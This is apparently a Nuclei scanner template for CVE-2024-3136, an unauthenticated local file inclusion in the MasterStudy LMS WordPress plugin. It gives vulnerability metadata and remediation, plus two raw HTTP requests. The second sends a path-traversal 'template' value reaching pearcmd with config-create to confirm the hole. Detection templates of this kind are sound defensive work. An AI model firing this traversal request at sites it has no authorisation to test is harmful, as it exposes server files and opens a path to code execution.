id: CVE-2024-3136 info: name: MasterStudy LMS <= 3.3.3 - Unauthenticated Local File Inclusion via template author: iamnoooob,rootxharsh,pdresearch severity: critical description: The MasterStudy LMS plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 3.3.3 via the 'template' parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other "safe" file types can be uploaded and included. impact: | An attacker can read sensitive files, execute arbitrary code, or escalate privileges. remediation: | Upgrade MasterStudy LMS to version 3.3.4 or higher to mitigate the vulnerability. reference: - https://plugins.trac.wordpress.org/changeset/3064337/masterstudy-lms-learning-management-system/trunk/_core/lms/classes/helpers.php - https://plugins.trac.wordpress.org/changeset/3064337/masterstudy-lms-learning-management-system/trunk/_core/lms/classes/templates.php - https://www.wordfence.com/threat-intel/vulnerabilities/id/9a573740-cdfe-4b58-b33b-5e50bcbc4779?source=cve - https://github.com/drdry2/CVE-2024-3136-Wordpress-RCE - https://github.com/nomi-sec/PoC-in-GitHub classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2024-3136 epss-score: 0.00065 epss-percentile: 0.28259 metadata: verified: true max-request: 2 publicwww-query: "/wp-content/plugins/masterstudy-lms-learning-management-system" tags: cve,cve2024,wp,wordpress,unauth,lfi variables: randomstr: "{{randstr_1}}" marker: "{{base64(randomstr)}}" http: - raw: - | GET /?p=1 HTTP/1.1 Host: {{Hostname}} - | POST /wp-admin/admin-ajax.php?template=../../../../../../../../usr/local/lib/php/pearcmd&+config-create HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=stm_lms_load_content&nonce={{nonce}}& host-redirects: true max-redirects: 2 matchers: - type: dsl dsl: - 'contains(to_lower(body_2),"config-create: must have 2 parameters")' - 'status_code_2 == 200' condition: and extractors: - type: regex part: body regex: - '"load_content":"(\w+?)"' group: 1 internal: true name: nonce # digest: 4a0a0047304502202b763dd72807cc252360a0934574e10db71e534d2dcb99664ef0d64f8e8a248002210097d5a1eaeb56e1c3c6b1f836e5c15a210596a30c9af148de0c5ee5b15b9e927f:922c64590222798bb761d5b6d8e72950